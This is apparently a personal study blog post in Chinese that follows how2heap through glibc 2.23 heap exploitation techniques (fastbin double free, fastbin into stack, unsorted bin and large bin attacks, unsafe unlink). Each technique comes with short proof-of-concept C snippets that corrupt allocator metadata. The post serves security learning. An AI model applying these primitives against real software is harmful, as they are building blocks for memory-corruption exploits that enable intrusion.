跟着 how2heap 学习一下各个版本堆的利用手法,又回到最初的起点,随缘慢慢更新~
基础工作
参考how2heap。
gcc 加入调试信息:
1
| gcc -g -o fastbin_dup_into_stack fastbin_dup_into_stack.c
|
gdb 源码调试:
注意需要使用对应 glibc 版本的 gcc 进行编译。
Glibc2.23
fastbin_dup(常用)
UAF 漏洞,需要绕过 double free 检测,利用手法如下:
1 2 3 4 5 6 7 8 9 10 11
| int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
free(a); free(b); free(a);
a = malloc(8); b = malloc(8); c = malloc(8);
|
导致 a 和 c 指向同一处。
fastbin_dup_consolidate
UAF 漏洞,申请小堆块 p1 并释放后,若此时再申请到一个大堆块 p3,则触发malloc_consolidate
,p1 被并入 top chunk,而后再分配堆块给 p3,关键代码如下:
1 2 3 4 5
| void* p1 = calloc(1,0x40); free(p1);
void* p3 = malloc(0x400); assert(p1 == p3);
|
导致 p1 和 p3 指向同一处。
此时便可以利用 p1 释放 p3,再申请一个大堆块将和 p3 指向同一处:
1 2 3
| free(p1); void *p4 = malloc(0x400); assert(p4 == p3);
|
fastbin_dup_into_stack
UAF 漏洞,承接 fastbin_dup。假设我们泄露出一个栈地址,我们便可以利用 double free 申请到这片栈空间,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned long long stack_var; int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
free(a); free(b); free(a);
unsigned long long *d = malloc(8); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d)); fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
|
unsorted_bin_attack
也是建立在 UAF 上,可以用来在某处写一个最大值,例如写 global_max_fast。
关键代码如下:
1 2 3 4 5 6
| unsigned long stack_var=0; unsigned long *p=malloc(400); malloc(500); free(p); p[1]=(unsigned long)(&stack_var-2); malloc(400);
|
我们需要修改 unsorted bin 中 p 的 BK 指针,使其指向 [目标地址-0x16] 处,可以使目标地址改为一个极大的值 (即 main_arena+88) 。
unsorted_bin_into_stack
建立在堆溢出上,并且能拿到栈地址,即可以通过上一个堆块修改下一个堆块的 size 位。
关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| intptr_t* victim = malloc(0x100); intptr_t* p1 = malloc(0x100); free(victim);
intptr_t stack_buffer[4] = {0}; stack_buffer[1] = 0x100 + 0x10; stack_buffer[3] = (intptr_t)stack_buffer;
victim[-1] = 32; victim[1] = (intptr_t)stack_buffer;
char *p2 = malloc(0x100); intptr_t sc = (intptr_t)jackpot; memcpy((p2+40), &sc, 8);
|
unsafe_unlink(常用)
需要 off-by-null,并要学会空间复用来修改下一个堆块的 prev_size。
关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| uint64_t *chunk0_ptr;
int malloc_size = 0x80; int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
uint64_t *chunk1_hdr = chunk1_ptr - header_size; chunk1_hdr[0] = malloc_size; chunk1_hdr[1] &= ~1;
|
此时 chunk 内数据如下:
释放完成 unlink,此时全局变量 victim 就被修改成了指向自己那块空间的指针:
注意一般 victim 所在指针具有写的功能,所以可以通过修改它自己以修改其他位置。
large_bin_attack
同样用来写入一个大值,关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| unsigned long stack_var1 = 0; unsigned long stack_var2 = 0;
unsigned long *p1 = malloc(0x420); malloc(0x20); unsigned long *p2 = malloc(0x500); malloc(0x20); unsigned long *p3 = malloc(0x500); malloc(0x20);
free(p1); free(p2);
malloc(0x90); free(p3);
p2[-1] = 0x3f1; p2[0] = 0; p2[2] = 0; p2[1] = (unsigned long)(&stack_var1 - 2); p2[3] = (unsigned long)(&stack_var2 - 4);
malloc(0x90);
|